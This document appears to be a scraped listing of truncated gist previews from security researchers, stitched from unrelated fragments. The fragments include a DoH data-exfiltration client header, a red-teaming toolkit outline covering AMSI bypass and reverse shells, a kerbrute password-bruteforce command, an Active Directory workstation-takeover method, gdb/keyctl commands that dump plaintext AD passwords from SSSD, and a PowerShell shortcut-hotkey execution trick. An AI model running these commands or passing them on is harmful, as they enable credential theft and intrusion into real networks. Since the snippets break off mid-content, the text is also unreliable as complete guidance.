0xHossam

#    Info: Stealthy Data Exfiltration Using (DoH) - Client Code
#    Date: May 26, 2024
#    Author: Hossam

import os, glob, requests, logging, struct, base64, random, time, httpx
from datetime import datetime
import urllib3
import win32com.client
from colorama import Fore, Style, init
from cryptography.fernet import Fernet

0xdevalias

Deobfuscating / Unminifying Obfuscated Web App / JavaScript Code

Some notes and tools for reverse engineering / deobfuscating / unminifying obfuscated web app code.

Table of Contents

• tl;dr: AKA: devalias's shortlist
• PoC
• Benchmarks / Leaderboards / etc

z0rs

Red Teaming tool

• General usefull Powershell Scripts
• AMSI Bypass restriction Bypass
• Payload Hosting
• Network Share Scanner
• Lateral Movement
• Reverse Shellz
• POST Exploitation

zpoint

I previously write a gist about how to set up v2ray + openvpn to unblock gfw and netflix

Refers to that gist for more detail.

In short, this a solution to proxy your network to bypass Firewall with stable connections, and also unblock Proxy detection for Netflix/Spotify/etc....

In my use case from China network:

sdcampbell

// DynamicAssemblyLoader: A DotNet Assembly Loader using a Dynamic Method and Emitted MSIL Instructions
// Author: @bohops
//
// "Normal" Implementation:
/*
 Assembly assembly = Assembly.Load(assemblyBytes);
 assembly.EntryPoint.Invoke(obj, objArr);   
*/

// Original author is @bohops

gladiatx0r

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

gladiatx0r

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

gladiatx0r

for who ever this interest, if you enable krb5_store_password_if_offline   in the SSSD configuration, the AD password for accounts is stored in plaintext in the kernel keyring
to dump the clear text password you can do :

```
gdb -p <PID_OF_SSSD>
call system("keyctl show > /tmp/output")
```

From the /tmp/output locate the key_id for the user you want
Example of an output is : 

jthuraisamy

#include <Windows.h>
#include <ImageHlp.h>
#include <strsafe.h>
#include "loaded_psp_drivers.h"

#include <set>
#include <string>
#include <algorithm>

#pragma comment(lib, "crypt32.lib")

monoxgas

$Shell = New-Object -Com WScript.Shell
$S = $Shell.CreateShortcut("$($Env:AppData)\Microsoft\Windows\Start Menu\default.lnk")
$S.TargetPath = "calc.exe"
$S.Hotkey = "Ctrl+U"
$S.Save()
$Shell.SendKeys("^u")
Start-Sleep 10;rm "$($Env:AppData)\Microsoft\Windows\Start Menu\default.lnk"